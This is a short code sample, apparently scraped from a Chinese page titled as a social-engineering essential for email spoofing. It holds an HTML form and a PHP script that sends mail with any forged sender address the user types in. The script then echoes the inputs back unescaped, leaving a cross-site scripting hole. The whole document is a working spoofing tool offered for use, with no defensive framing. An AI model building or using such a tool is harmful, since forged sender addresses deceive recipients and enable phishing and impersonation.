xx.html
<span <</span><span html</span><span ></span> <span <</span><span head</span><span ></span> <span <</span><span title</span><span ></span>邮件欺骗<span </</span><span title</span><span ></span> <span <</span><span body</span><span ></span> <span <</span><span h3</span><span ></span>社工必备-邮件欺骗<span </</span><span h3</span><span ></span> <span <</span><span form </span><span action</span><span ="email_spoof_script.php"</span><span method</span><span ="post"</span><span ></span> <span <</span><span p</span><span ></span>要伪造的邮件: <span <</span><span input </span><span type</span><span ="text"</span><span name</span><span ="spoofemail"</span><span size</span><span ="30"</span><span </p</span><span ></span> <span <</span><span p</span><span ></span>发送到: <span <</span><span input </span><span type</span><span ="text"</span><span name</span><span ="toemail"</span><span size</span><span ="30"</span><span </p</span><span ></span> <span <</span><span p</span><span ></span>主题: <span <</span><span input </span><span type</span><span ="text"</span><span name</span><span ="subject"</span><span size</span><span ="30"</span><span </p</span><span ></span> <span <</span><span p</span><span ></span>内容: <span </</span><span p</span><span ></span> <span <</span><span p</span><span ><</span><span textarea </span><span rows</span><span ="10"</span><span cols</span><span ="20"</span><span name</span><span ="message"</span><span ></</span><span textarea</span><span ></</span><span p</span><span ></span> <span <</span><span input </span><span type</span><span ="submit"</span><span name</span><span ="submit"</span><span value</span><span ="Send Spoofed Email!"</span><span ></span> <span </</span><span body</span><span ></span> <span </</span><span html</span><span ></span>
email_spoof_script.php
<?<span php </span><span $from</span>=<span $_POST</span>['spoofemail']; <span //</span><span 接受伪造的邮件</span> <span $email</span>=<span $_POST</span>['toemail']; <span //</span><span 接受发送到的地址</span> <span $subject</span>=<span $_POST</span>['subject']; <span //</span><span 接受输入的主题</span> <span $message</span>=<span $_POST</span>['message']; <span //</span><span 接受内容</span> <span mail</span>(<span $email</span>, <span $subject</span>, <span $message</span>, "From: " . <span $from</span>); <span //</span><span 把接受到的内容发送并替换电子邮件</span> <span print</span> "<h3>您的邮件已发送成功. 这是您的电子邮件:</h3> <br>From: <span $from</span><br>To: <span $email</span><br>Subject: <span $subject</span><br>Message: <span $message</span>"<span ; </span>?>
